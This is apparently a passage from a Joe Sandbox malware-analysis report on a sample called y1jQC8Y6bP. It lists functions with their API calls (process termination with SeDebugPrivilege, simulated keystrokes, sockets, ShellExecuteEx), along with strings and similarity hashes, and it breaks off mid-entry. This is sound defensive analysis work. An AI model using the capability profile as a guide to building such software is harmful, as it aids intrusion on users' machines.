OpenProcess.KERNEL32(00000001,00000000,?), ref: 0060E9A4
GetLastError.KERNEL32 ref: 0060E9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0060E9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 0060EA63
GetLastError.KERNEL32(00000000), ref: 0060EA6E
CloseHandle.KERNEL32(00000000), ref: 0060EAA3

Strings

SeDebugPrivilege, xrefs: 0060E9C2

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 6cf11b0785c517afb39c42b79f71773ac9f92e29b4be6cca7faaeb44b60e9467
Instruction ID: 139ae93f6ce18757dcb83819ecef76b80720fbe11ae2598af2ebd39620d8f00d
Opcode Fuzzy Hash: 6cf11b0785c517afb39c42b79f71773ac9f92e29b4be6cca7faaeb44b60e9467
Instruction Fuzzy Hash: 5E418C313402129FDB19EF18CC99FAEBBA6BF85350F18841DF9465B2D2DB75A804CB91

Function 005F2F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 005F3033

Strings

warning, xrefs: 005F301C
question, xrefs: 005F2FEC
stop, xrefs: 005F3004
blank, xrefs: 005F2FB5
info, xrefs: 005F2FD4

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 533f7824071605f36e10f6612f79cd2467dd0fb24c7a612b2acd3330649eb8e3
Instruction ID: cd862a5e2e1c47aac426f0e1a3595fde9ed18c796a317645eaa39eff78fcd368
Opcode Fuzzy Hash: 533f7824071605f36e10f6612f79cd2467dd0fb24c7a612b2acd3330649eb8e3
Instruction Fuzzy Hash: 4F11C63124878BBEF7149A55DC4ACBF6F9CBF15360F20402BFA0066181DE69AE4055A4

Function 005F42F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 005F4312
LoadStringW.USER32(00000000), ref: 005F4319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 005F432F
LoadStringW.USER32(00000000), ref: 005F4336
_wprintf.LIBCMT ref: 005F435C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 005F437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 005F4357

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 0de849b359dbc6c79f5e4396b48417117fb682f4085ec93ca0221f8049f0f1dc
Instruction ID: 92cb5cc9b08fece76735a063a9e6c84806058036c3f477ec246468dc075c2103
Opcode Fuzzy Hash: 0de849b359dbc6c79f5e4396b48417117fb682f4085ec93ca0221f8049f0f1dc
Instruction Fuzzy Hash: 3E0144F6900208BFD711E790DD89EF7776DEB08300F4449A2BB45E2151EA745E854B70

Function 0061D43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00592612: GetWindowLongW.USER32(?,000000EB), ref: 00592623

GetSystemMetrics.USER32(0000000F), ref: 0061D47C
GetSystemMetrics.USER32(0000000F), ref: 0061D49C
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0061D6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0061D6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0061D716
ShowWindow.USER32(00000003,00000000), ref: 0061D735
InvalidateRect.USER32(?,00000000,00000001), ref: 0061D75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 0061D77D

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: d44060e1fe98c766b6812a675cfd5bb3b209e5e87abcf421a818d74c6eccfe32
Instruction ID: d947d031042da66672b315fa6a6930475e912422821346b3520bad1d63eea6a2
Opcode Fuzzy Hash: d44060e1fe98c766b6812a675cfd5bb3b209e5e87abcf421a818d74c6eccfe32
Instruction Fuzzy Hash: 37B17875600225EFDF14CF68C9D9BED7BB2BF08711F088169EC489B295D734A990CBA0

Function 00592A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,005CC1C7,00000004,00000000,00000000,00000000), ref: 00592ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,005CC1C7,00000004,00000000,00000000,00000000,000000FF), ref: 00592B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,005CC1C7,00000004,00000000,00000000,00000000), ref: 005CC21A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,005CC1C7,00000004,00000000,00000000,00000000), ref: 005CC286

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: fcf863bb459ce9ad5b334f9cd3bfa1ffd7a73c572588bebb7dc00cffe83c37fa
Instruction ID: 143a522f81547855690ce52d6404997a738b070fb3645849367eb6463720c240
Opcode Fuzzy Hash: fcf863bb459ce9ad5b334f9cd3bfa1ffd7a73c572588bebb7dc00cffe83c37fa
Instruction Fuzzy Hash: 5441FA36608780BECF358B69DC9CB6B7F93BB85310F18CC1DE08B86561C6B1A845D751

Function 005F70C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 005F70DD

Part of subcall function 005B0DB6: std::exception::exception.LIBCMT ref: 005B0DEC
Part of subcall function 005B0DB6: __CxxThrowException@8.LIBCMT ref: 005B0E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 005F7114
EnterCriticalSection.KERNEL32(?), ref: 005F7130
_memmove.LIBCMT ref: 005F717E
_memmove.LIBCMT ref: 005F719B
LeaveCriticalSection.KERNEL32(?), ref: 005F71AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 005F71BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 005F71DE

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 58ee2fa9d59aa011de5c3e5ba960dc1b7cf4b744ec4fa7da48cbdc48b5164252
Instruction ID: 9f27f6201bf340d8753c0db481e605ebfb10cdba4ca97ea99fb762c28a19adcf
Opcode Fuzzy Hash: 58ee2fa9d59aa011de5c3e5ba960dc1b7cf4b744ec4fa7da48cbdc48b5164252
Instruction Fuzzy Hash: 50314F71900209EFDB00EFA5DC89DAF7B79FF85710F1481A5E9049A296D774EA14CB60

Function 006161D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 006161EB
GetDC.USER32(00000000), ref: 006161F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 006161FE
ReleaseDC.USER32(00000000,00000000), ref: 0061620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00616246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00616257
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0061902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00616291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 006162B1

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: fbfd80de2b5ec4e8c181673293563bc39b9b53983408fd12b5c0b45b4a49fbde
Instruction ID: 95f37c56505679d51afd7c2d371c0bf152982c631cfa324a3b061891c491d4a8
Opcode Fuzzy Hash: fbfd80de2b5ec4e8c181673293563bc39b9b53983408fd12b5c0b45b4a49fbde
Instruction Fuzzy Hash: 3F3171761012107FEF118F50DC4AFEA3BAAEF4A765F084065FE089A291C6759D41CBB4

Function 005EBBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 005EBBC4
_memcmp.LIBCMT ref: 005EBBE6
_memcmp.LIBCMT ref: 005EBBFE
_memcmp.LIBCMT ref: 005EBC11
_memcmp.LIBCMT ref: 005EBC2B
_memcmp.LIBCMT ref: 005EBC3E
_memcmp.LIBCMT ref: 005EBC56
_memcmp.LIBCMT ref: 005EBC71

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: da8ba3220509ce3c54018d1d3f35274f2dbb0ab316048af1ebbf4b67ec7effaf
Instruction ID: 2b357e9043f63ac6b24dfbf0a9d4d082f17fd2d5f8a2f8b25989c4440e3e175e
Opcode Fuzzy Hash: da8ba3220509ce3c54018d1d3f35274f2dbb0ab316048af1ebbf4b67ec7effaf
Instruction Fuzzy Hash: A02146B1304A577BFA086612AD62FFB7F1DBE40349F144820FD4896243EF24EE1085A5

Function 005FEB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

Part of subcall function 005AFC86: _wcscpy.LIBCMT ref: 005AFCA9

_wcstok.LIBCMT ref: 005FEC94
_wcscpy.LIBCMT ref: 005FED23
_memset.LIBCMT ref: 005FED56

Strings

X, xrefs: 005FED93

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 6e0e90547b97ded25e336c6a015595ad775d9a1ce600a4ceaa8fad85533abec0
Instruction ID: 0f9c6de124a9992242d49380c90d1f0924d0953ec4e43bb8d92ab020ecd89afb
Opcode Fuzzy Hash: 6e0e90547b97ded25e336c6a015595ad775d9a1ce600a4ceaa8fad85533abec0
Instruction Fuzzy Hash: E5C182315087469FCB14EF24D84AA6ABFE5FF85310F04492DF9999B2A2DB34EC45CB42

Function 00606B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00606C00
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00606C21
WSAGetLastError.WSOCK32(00000000), ref: 00606C34
htons.WSOCK32(?,?,?,00000000,?), ref: 00606CEA
inet_ntoa.WSOCK32(?), ref: 00606CA7

Part of subcall function 005EA7E9: _strlen.LIBCMT ref: 005EA7F3
Part of subcall function 005EA7E9: _memmove.LIBCMT ref: 005EA815

_strlen.LIBCMT ref: 00606D44
_memmove.LIBCMT ref: 00606DAD

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: b54922cf8b3493c9df21d79688f683b49aed64f3b2aff85a303978b5d320eb98
Instruction ID: 8968ff47a387c0d3ea016cfc1ddd1c1f35f81c92fba194e1bae1766be45a308c
Opcode Fuzzy Hash: b54922cf8b3493c9df21d79688f683b49aed64f3b2aff85a303978b5d320eb98
Instruction Fuzzy Hash: 6681BF71204301ABDB14EB24CC8AEABBBAAEFC4714F14491DF5559B2D2DB70AD11CB91

Function 00591424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6578475d43243db60b70ec4953a48e17deac3d537e864e4672ba2a983487083
Instruction ID: b141b7cb5f6113f5e356c6c7da83ff0cddde7c80cbf14daa1f29b173768d7745
Opcode Fuzzy Hash: d6578475d43243db60b70ec4953a48e17deac3d537e864e4672ba2a983487083
Instruction Fuzzy Hash: 96716B3090051AEFDF049F98CC49EBEBF79FF89310F248159F915AA251C734AA51CBA4

Function 0061B351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(012C6138), ref: 0061B3EB
IsWindowEnabled.USER32(012C6138), ref: 0061B3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0061B4DB
SendMessageW.USER32(012C6138,000000B0,?,?), ref: 0061B512
IsDlgButtonChecked.USER32(?,?), ref: 0061B54F
GetWindowLongW.USER32(012C6138,000000EC), ref: 0061B571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0061B589

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 5074771a966c176473e735fe683c5045e0973597a1619ef9dc5c71e2ec18e0c6
Instruction ID: 4dd9798dec347972125fd41a1cac859e5a6d94e1fa911cc0f06892703e83d52f
Opcode Fuzzy Hash: 5074771a966c176473e735fe683c5045e0973597a1619ef9dc5c71e2ec18e0c6
Instruction Fuzzy Hash: DB718A38600204AFDB24DF65C894FEA7BFBEF09310F18A059E956973A6C731A991DB50

Function 0060F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0060F448
_memset.LIBCMT ref: 0060F511
ShellExecuteExW.SHELL32(?), ref: 0060F556

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

Part of subcall function 005AFC86: _wcscpy.LIBCMT ref: 005AFCA9

GetProcessId.KERNEL32(00000000), ref: 0060F5CD
CloseHandle.KERNEL32(00000000), ref: 0060F5FC

Strings

@, xrefs: 0060F525

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 7cad3b4556c7212fa4a8fe5bf1666e4944fc055a51501e2cccff2c8758c209f8
Instruction ID: 3b6b614519162d58cb2fd4873842b528415a93f6f22dafa8202ffae6763a1197
Opcode Fuzzy Hash: 7cad3b4556c7212fa4a8fe5bf1666e4944fc055a51501e2cccff2c8758c209f8
Instruction Fuzzy Hash: 4D61B175A0061A9FCF14DF68C8859AEBBF6FF89310F14806DE855AB791DB30AD41CB90

Function 005F0F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 005F0F8C
GetKeyboardState.USER32(?), ref: 005F0FA1
SetKeyboardState.USER32(?), ref: 005F1002
PostMessageW.USER32(?,00000101,00000010,?), ref: 005F1030
PostMessageW.USER32(?,00000101,00000011,?), ref: 005F104F
PostMessageW.USER32(?,00000101,00000012,?), ref: 005F1095
PostMessageW.USER32(?,00000101,0000005B,?), ref: 005F10B8

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 070789f61c138b77f474c9509c8b5cbeb9b6ddaa63a0f5431cca57ce1bf6ffa3
Instruction ID: 2be3939234cfdf84d03609f0ac59f6eb30b356f31e71e88b93a92713bb3a7351
Opcode Fuzzy Hash: 070789f61c138b77f474c9509c8b5cbeb9b6ddaa63a0f5431cca57ce1bf6ffa3
Instruction Fuzzy Hash: 5151E560544BDABEFB3642348C09BB6BEAA7B06304F0C8989E2D5868D3C6DDDCC4D755

Function 005F0D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 005F0DA5
GetKeyboardState.USER32(?), ref: 005F0DBA
SetKeyboardState.USER32(?), ref: 005F0E1B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 005F0E47
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 005F0E64
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 005F0EA8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 005F0EC9

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 219b3ee9863100e22f83209442cb2b7b9c60c921f87a7c1df860a748b1dff88a
Instruction ID: 7c4b17ec6a9ad6b9e25e6a6944caba39b664c15b70e34c9d4297bbed4314e431
Opcode Fuzzy Hash: 219b3ee9863100e22f83209442cb2b7b9c60c921f87a7c1df860a748b1dff88a
Instruction Fuzzy Hash: 6451E6A06447D97DFB3283748C45BBABFA97B06300F0C9889E3D5864C3D399AC98D750

Function 005F55FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 005F560A
_wcsncpy.LIBCMT ref: 005F563F
_wcsncpy.LIBCMT ref: 005F5671
_wcsncpy.LIBCMT ref: 005F56A4
_wcsncpy.LIBCMT ref: 005F56E6
_wcsncpy.LIBCMT ref: 005F5720
_wcsncpy.LIBCMT ref: 005F574F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: ebb65bbfec07a5e13d1cbf5f73889caf17964bf8ee87f18a16316bd1e44ecb3a
Instruction ID: f2a5605ab9ba1bc127c1fd26b3cdacbac91dbb7ff5914ffa2c1b8b1595ec34b1
Opcode Fuzzy Hash: ebb65bbfec07a5e13d1cbf5f73889caf17964bf8ee87f18a16316bd1e44ecb3a
Instruction Fuzzy Hash: 1F419275C1161976CB11FBB4884E9DFBBB8BF44310F508956E618E3222FA34B245C7A6

Function 005ED56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 005ED5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 005ED60A
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 005ED61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 005ED69D

Strings

,,b, xrefs: 005ED578
DllGetClassObject, xrefs: 005ED610

Memory Dump Source

